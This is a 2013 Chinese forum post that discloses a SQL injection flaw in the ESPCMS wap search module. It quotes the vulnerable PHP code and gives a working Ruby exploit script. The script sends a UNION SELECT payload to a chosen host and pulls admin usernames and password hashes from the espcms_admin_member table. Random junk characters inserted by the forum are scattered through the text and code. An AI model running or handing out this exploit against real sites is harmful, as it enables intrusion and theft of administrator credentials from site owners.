找回密码
 立即注册
查看: 2456|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节+ I/ p% L  X) Z: A; I
0×2 PoC
4 Y5 Z$ a6 Y+ @9 m4 q  a" R
& u  N. y0 I$ J5 a* |% S( W% C
  ^" y2 C, ]" m+ ^4 ^( c4 B: n8 n7 K: r# W0 K  |
0×0 漏洞概述
0 K# [' g, U" W% l+ E) H; v3 v1 D& r1 o
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。$ x9 ?* F/ u% p
其在处理传入的参数时考虑不严谨导致SQL注入发生
3 F# V- x% L6 L9 H
# j8 K0 b( |: Q9 C! o- H' a9 @
' b+ D7 g- x! Q" o' g0×1 漏洞细节
& o$ B# |6 q. ~0 ^4 r9 O9 p& [. ?: w/ ]/ g! Q% v% C5 B
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
- j& ]: e! Z% m& f正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。- Z7 u# J: y3 f( q/ X  z: s/ V
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入
9 @2 ^  m# K/ A( Y' x3 m! J
' `& P+ ~  O3 @% B在/interface/3gwap_search.php文件的in_result函数中:
6 i1 e! ^/ }# _' L  ?  a6 B2 D% M0 y5 U5 D$ T! O$ Y' {9 }
0 u- ]3 A6 g" B/ P

+ Z1 l7 H/ ?; ^2 s8 ^/ g: O4 b       function in_result() {2 v+ x* L4 {, b  s1 o, s
            ... ... ... ... ... ... ... ... ...( G) M# u/ _# `3 a) B# y7 S
            $urlcode = $_SERVER[ 'QUERY_STRING '];8 Z  d/ r7 J6 w, U  t; O
            parse_str(html_entity_decode($urlcode), $output);
& C: a# z2 ?3 F/ ~- Y0 T1 O# e2 k7 S4 c
9 J! g$ b# t6 n! S) {/ k7 I            ... ... ... ... ... ... ... ... ...
7 C- z# Q( G3 S, `) G) ^  s" _0 K            if (is_array($output['attr' ]) && count($output['attr']) > 0) {: V% L: @+ l! x) A; {0 R  W

: m0 R4 P7 b$ |: J                  $db_table = db_prefix . 'model_att';
- |+ ^  T  c" `' j5 Y% ?* E" e
* T+ U& K% ^! G$ ]. [  D                   foreach ($output['attr' ] as $key => $value) {% H0 U% ^; i8 m
                         if ($value) {) _: Z$ n' B, W% l3 L( F

" X& [7 T5 ^) Q9 v$ P                              $key = addslashes($key);( B( N/ a( a  t( t' |
                              $key = $this-> fun->inputcodetrim($key);6 p& |1 d6 n- P2 u
                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";
: Y1 A, O5 _& u, @* P                              $countnum = $this->db_numrows($db_table, $db_att_where);
& R/ J3 @4 y6 V4 d                               if ($countnum > 0) {
7 Y0 N8 _) r+ O! X                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
" \! g! P  K/ H: D+ @5 n' L2 N                              }# D! }: K" k1 ]+ E& W4 [
                        }4 T8 E, S* ]! q0 Q; U! C
                  }
* p% s# N6 ^) i& u! a3 L            }) p, J2 W$ R0 c4 V0 B' l  k$ {  `
            if (!empty ($keyword) && empty($keyname)) {
- B# U- X# `  o3 e" i                  $keyname = 'title';
& w$ _" d. X/ r) k' X, d9 x                  $db_where.= " AND a.title like '%$keyword%'" ;
/ K' v! N6 o5 c& h, M: h            } elseif (!empty ($keyword) && !empty($keyname)) {0 N; ?/ x3 `2 I: z. v
                  $db_where.= " AND $keyname like '% $keyword%'";; ?) x. Z! Y3 E
            }; I  J, h. O9 A) u& s7 f
            $pagemax = 15;
$ \5 M. {. L6 n  q* i7 p& w
' J  B2 O. J6 m4 ^3 s            $pagesylte = 1;
! O: Q0 ?6 u' T- K. t) L  l/ w2 D0 z* c1 C# p9 x# f' J9 {
             if ($countnum > 0) {
( F0 z- x4 c5 l! [; z  ~/ ^* v# t* K8 @; Z
                  $numpage = ceil($countnum / $pagemax);. M  c! T7 ^, i+ p) t( D4 q# b
            } else {
6 t/ S9 J, c9 p  ]3 ?( C1 m% Z                  $numpage = 1;' ^' Z7 S* {3 V8 ]3 ^  l* c* A7 H, k
            }; H6 N7 Z# ?2 @, h0 c
            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;. n# W' b$ ?4 N5 {: e; |! z/ i
            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
3 M% ~( ^  g9 D$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);0 e( v1 \# ~4 {
            ... ... ... ... ... ... ... ... ...
3 s: o7 D; j8 q  J( X      }+ D: J, R* H2 U1 I# U0 g$ i

. C1 Y& T% i9 }6 ?
# d5 N1 F3 h8 r  \5 Z/ _0×2 PoC
2 i- F" T$ S8 i- N4 _8 {0 S* X- U7 J. @7 `; N

- L. X% q; a6 v3 S5 a% f/ j3 V7 `& |; X1 ]  O2 A  C
require "net/http"
. e' I+ B" \9 S9 ^! \3 O1 B: F  j0 q' ?' S2 W4 Y0 O: Y& O
def request(method, url)
) f' b& f% [) u. U5 k8 Z    if method.eql?("get")0 M8 S) Y# Q4 T' u* k
        uri = URI.parse(url)
2 k+ S4 ^$ I( M8 p. I: p2 \        http = Net::HTTP.new(uri.host, uri.port)$ l  O& P3 b/ k( U0 t
        response = http.request(Net::HTTP::Get.new(uri.request_uri))
9 _: K, s0 T/ C: k- y/ ]        return response4 n' f% W" \6 y: i- ^' z" b
    end( a; {3 {! B- o* X5 u, s: k( e& \
end
1 D9 N) _: x, i' ]! H" }
9 |: j5 w* ?  G: Q. j' Q, p! pdoc =<<HERE+ u$ p, g: K6 I$ p" H6 t. u
-------------------------------------------------------# @, `& x) m5 H3 B
Espcms Injection Exploit: _: E7 S! ]8 [* g, g- ~1 c& D  {
Author:ztz
  U# l4 c: P+ OBlog:http://ztz.fuzzexp.org// |( p: p, ]" g  t2 C
-------------------------------------------------------; ]6 X2 l" z' m& \9 q

: ]( j' }' u/ e0 P3 A; ~8 E: aHERE# B, u& }! y+ E- _& H$ k6 ]  o; D

2 K4 A& J' X* {: ~# S9 ^& Ousage =<<HERE4 B: n) n5 {- i, f2 D& K
Usage:         ruby #{$0} host port path# R1 h- Y7 I7 [
example:     ruby #{$0} www.target.com 80 /
+ r1 C/ T4 Q1 EHERE/ _1 [$ M& A) v
# Z  Y! ]: E2 T& u# @( F8 \# Z
puts doc
7 v/ n: v  w( B3 M( b- [if ARGV.length < 39 ]2 u, P1 C8 L* h7 Y; L
    puts usage
0 {* ^3 |+ x/ w' `  k' delse8 g# C& o' V1 z3 T) d' m
    $host = ARGV[0]
  L1 f8 k1 s  F+ _9 v, s% V    $port = ARGV[1]3 `$ y: f2 A' e
    $path = ARGV[2]
) g! \1 U* u# E* k+ d# _
* f; L% c& ], X$ e9 s. z! ]    puts "
  • send request..."# |+ n* b4 J* K! m7 N
        url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
    3 o9 S, f0 N% O6 dattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13# @) c) P( o% H3 d! u& @/ A- u; ]6 c
    ,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
    % d5 A; {: I! W" c,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"5 d2 `% l. R8 m9 M7 W- S- J# o
        response = request("get", url)
    $ ]+ T1 N' K% H    result = response.body.scan(/\w+&\w{32}/)! T2 r! N, u2 z
        puts result
    7 I5 k+ ~0 w+ t3 [2 d) [# Eend- @8 {: t# z6 c# S7 `

    ) G! k: z+ ?7 ^; u1 v! v' G! }# u
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表